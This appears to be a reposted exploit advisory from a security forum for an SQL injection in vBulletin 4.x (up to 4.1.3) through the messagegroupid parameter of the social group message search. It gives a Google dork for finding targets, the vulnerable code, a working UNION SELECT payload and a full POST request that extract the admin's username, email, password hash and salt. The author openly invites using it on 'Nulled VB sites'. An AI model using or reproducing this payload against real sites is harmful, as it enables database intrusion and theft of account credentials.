Menu
Recent Blog Posts
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S
# Software Link: [http://www.vbulletin.com/]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [http://members.vbulletin.com/]
################################################## ###
Vulnerability:
#################################################
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
################################################## ###
Vulnerable Code:
################################################## ###
File: /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid
Code:
if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
{
$value = $registry->GPC['messagegroupid'];
if (!is_array($value))
{
$value = array($value);
}
if (!(in_array(' ',$value) OR in_array('',$value)))
{
if ($rst = $vbulletin->db->query_read("
SELECT socialgroup.name
FROM " . TABLE_PREFIX."socialgroup AS socialgroup
---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
}
Exploitation:
################################################## ###
Post data on: -->search.php?search_type=1
--> Search Single Content Type
Keywords : Valid Group Message
Search Type : Group Messages
Search in Group : Valid Group Id
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt ) FROM user WHERE userid=1#
################################################## #########################################
Note:
################################################## ###
Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as this one was reported to them by altex, hence customers are safe except lowsy admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".
################################################## ###
More Details:
################################################## ###
Exact Request as follows:
Code:
query=Cross+Domain+Content+Extraction+attacks&titleonly=0&searchuser=&starteronly=0&searchdate=0&beforeafter=after&sortby=dateline&order=descending&showposts=1&saveprefs=1&dosearch=Search+Now&s=&securitytoken=1311201469-a9ee9dd6adccba0f8758fce3f02b7e0a267eea75&searchfromtype=vBForum%3ASocialGroupMessage&do=process&contenttypeid=5&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
Reply
G4H Twitter
Teensy USB HID for Penetration Testers - Part 3 - Programming sketches in Arduino
In previous post we saw very basic usage of Arduino Development Environment (ADE) and ran our Hello...
SamratAshok 04-25-2012 10:51 PM